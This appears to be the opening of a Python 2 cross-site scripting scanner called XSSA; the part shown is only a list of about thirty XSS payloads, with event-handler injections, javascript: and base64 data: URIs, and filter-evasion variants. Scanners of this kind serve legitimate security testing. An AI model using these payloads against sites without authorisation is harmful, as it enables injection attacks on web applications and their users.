43 lines
2.2 KiB
Python
43 lines
2.2 KiB
Python
#!/usr/bin/env python
|
||
# -*- coding: cp1252 -*-
|
||
# XSSA is a Cross Site Scripting Scanner & Vulnerability Confirmation
|
||
# By Yehia Mamdouh - twitter.com/@Yehia1mamdouh / Facebook/yehia.mamdouh.98
|
||
|
||
|
||
import urllib
|
||
import re
|
||
import urllib2
|
||
|
||
|
||
class check:
|
||
def __init__(self):
|
||
self.hit = ["<script>alert('XSSYA')</script>",
|
||
"1<ScRiPt >prompt(962477)</sCripT>",
|
||
"<script>alert('xssya')</script>",
|
||
"'';!--\"<XSS>=&{()}",
|
||
"<ScRipt>ALeRt('xssya');</sCRipT>",
|
||
"<body/onhashchange=alert(1)><a href=#>clickit",
|
||
"<img src=x onerror=prompt(1);>",
|
||
"%3cvideo+src%3dx+onerror%3dprompt(1)%3b%3e",
|
||
"<iframesrc=\"javascript:alert(2)\">",
|
||
"<iframe/src=\"data:text/html;	base64
,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==\">",
|
||
"<form action=\"Javascript:alert(1)\"><input type=submit>",
|
||
"<isindex action=data:text/html, type=image>",
|
||
"<object data=\"data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=\">",
|
||
"<svg/onload=prompt(1);>",
|
||
"<marquee/onstart=confirm(2)>/",
|
||
"<body onload=prompt(1);>",
|
||
"<q/oncut=open()>",
|
||
"<a onmouseover=location=’javascript:alert(1)>click",
|
||
"<svg><script>alert(/1/)</script>",
|
||
"</script><script>alert(1)</script>",
|
||
"<scri%00pt>alert(1);</scri%00pt>",
|
||
"<scri%00pt>confirm(0);</scri%00pt>",
|
||
"5\x72\x74\x28\x30\x29\x3B'>rhainfosec",
|
||
"<isindex action=j	a	vas	c	r	ipt:alert(1) type=image>",
|
||
"<marquee/onstart=confirm(2)>",
|
||
"<A HREF=\"http://www.google.com./\">XSS</A>",
|
||
"<svg/onload=prompt(1);>",]
|
||
|
||
|